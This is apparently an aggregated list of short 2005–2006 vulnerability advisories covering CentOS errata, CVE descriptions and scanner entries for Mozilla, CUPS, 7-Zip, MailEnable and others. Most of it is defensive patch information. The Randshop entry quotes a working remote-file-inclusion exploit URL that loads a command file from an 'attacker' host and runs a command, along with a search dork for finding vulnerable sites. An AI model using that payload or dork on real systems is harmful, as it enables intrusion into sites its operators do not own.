CentOS 3 / 4 : mozilla (CESA-2005:587)

Updated mozilla packages that fix various security issues are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. Mozilla is an open source Web browser, advanced email and newsgroup client, IRC chat client, and HTML editor. A bug wa...

CentOS 3 / 4 : ipsec-tools (CESA-2006:0267)

Updated ipsec-tools packages that fix a bug in racoon are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. The ipsec-tools package is used in conjunction with the IPsec functionality in the linux kernel and includes racoon, an IKE...

CentOS 3 / 4 : ImageMagick (CESA-2005:413)

Updated ImageMagick packages that fix a buffer overflow issue are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. ImageMagickTM is an image display and manipulation tool for the X Window System which can read and write multiple...

CentOS 3 / 4 : gtk2 (CESA-2005:344)

Updated gtk2 packages that fix a double free vulnerability are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The gtk2 package contains the GIMP ToolKit GTK+, a library for creating graphical user interfaces for the X Window...

CentOS 3 / 4 : openmotif (CESA-2005:412)

Updated openmotif packages that fix a flaw in the Xpm image library are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. OpenMotif provides libraries which implement the Motif industry standard graphical user interface. An integer...

CentOS 3 : evolution (CESA-2005:238)

Updated evolution packages that fix various bugs are now available. This update has been rated as having low security impact by the Red Hat Security Response Team. Evolution is the GNOME collection of personal information management PIM tools. Evolution includes a mailer, calendar, contact manage...

CentOS 3 / 4 : cups (CESA-2006:0163)

Updated CUPS packages that fix multiple security issues are now available for Red Hat Enterprise Linux. This update has been rated as having important security impact by the Red Hat Security Response Team. The Common UNIX Printing System CUPS provides a portable printing layer for UNIXR operating...

Randshop <= 1.1.1 (header.inc.php) Remote File Include Vulnerability

No description provided by source. Title : randshop = 1.1.1 Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author : OLiBekaS - contact : olibekasatgmail.com - dork : "software 2004-2005 by randshop" - exploit :...

Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion

Title : randshop = 1.1.1 Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author : OLiBekaS - contact : olibekasatgmail.com - dork : "software 2004-2005 by randshop" - exploit : http://target/path/includes/header.inc.php?dateiPfad=http://attacker/cmd.txt?&cmd=ls - greatz :...

MailEnable SMTP AUTH LOGIN buffer overflow

Added: 06/30/2006 CVE: CVE-2005-1781 BID: 13772 OSVDB: 16851 Background MailEnable is a mail server supporting SMTP and POP3 for Windows platforms. MailEnable Professional and MailEnable Enterprise also include IMAP and HTTPMail services. Problem The SMTP service in MailEnable is affected by a...

IMAP Directory Traversal (CAN-2005-1902; CAN-2006-2414)

...

CVE-2006-3095

Multiple cross-site scripting XSS vulnerabilities in iPostMX 2005 2.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the RETURNURL parameter in 1 userlogin.cfm and 2 account.cfm...

CVE-2006-3096

Multiple SQL injection vulnerabilities in iPostMX 2005 2.0 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 forum parameter in messagepost.cfm and 2 topic parameter in topics.cfm. NOTE: this item was created based on information in a blog entry that was apparently...

CVE-2006-2990

The CVE-2006-2990 entry describes a Cross-site scripting (XSS) vulnerability in VanillaSoft Helpdesk 2005 and earlier, exploitable via the username parameter in default.asp. Affected software: VanillaSoft Helpdesk (2005 and earlier). Root cause: improper handling of user-supplied username enablin...

7-Zip ARJ archive handling buffer overflow

Added: 06/09/2006 CVE: CVE-2005-3051 BID: 14925 OSVDB: 19639 Background 7-Zip is a free file archiver for Windows platforms. Problem A buffer overflow vulnerability in 7-Zip could allow code execution when a specially crafted ARJ file is opened. Resolution Upgrade to 7-Zip 4.27 beta or higher...

[security bulletin] HPSBUX02090 SSRT051058 rev.2 - HP-UX Secure Shell Remote Denial of Service (DoS)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c00589050 Version: 2 HPSBUX02090 SSRT051058 rev.2 - HP-UX Secure Shell Remote Denial of Service DoS NOTICE: The information in this Security Bulletin should be acted upon as soon as possible...

7-Zip ARJ archive handling buffer overflow

Added: 06/09/2006 CVE: CVE-2005-3051 BID: 14925 OSVDB: 19639 Background 7-Zip is a free file archiver for Windows platforms. Problem A buffer overflow vulnerability in 7-Zip could allow code execution when a specially crafted ARJ file is opened. Resolution Upgrade to 7-Zip 4.27 beta or higher...

7-Zip ARJ archive handling buffer overflow

Added: 06/09/2006 CVE: CVE-2005-3051 BID: 14925 OSVDB: 19639 Background 7-Zip is a free file archiver for Windows platforms. Problem A buffer overflow vulnerability in 7-Zip could allow code execution when a specially crafted ARJ file is opened. Resolution Upgrade to 7-Zip 4.27 beta or higher...

Mozilla Firefox GIF processing buffer overflow

Added: 06/09/2006 CVE: CVE-2005-0399 BID: 12881 OSVDB: 14937 Background Mozilla is a suite of Internet client products available for multiple platforms. Problem A heap overflow in Mozilla Firefox when processing GIF images with the obsolete Netscape extension 2 allows command execution when a use...

CVE-2005-2467

CVE-2005-2467 describes multiple cross-site scripting (XSS) vulnerabilities in MySQL Eventum 1.5.5 and earlier . The flaws allow remote attackers to inject arbitrary web script or HTML via parameters: (1) the id parameter to view.php , (2) the release parameter to list.php , or (3) the F paramete...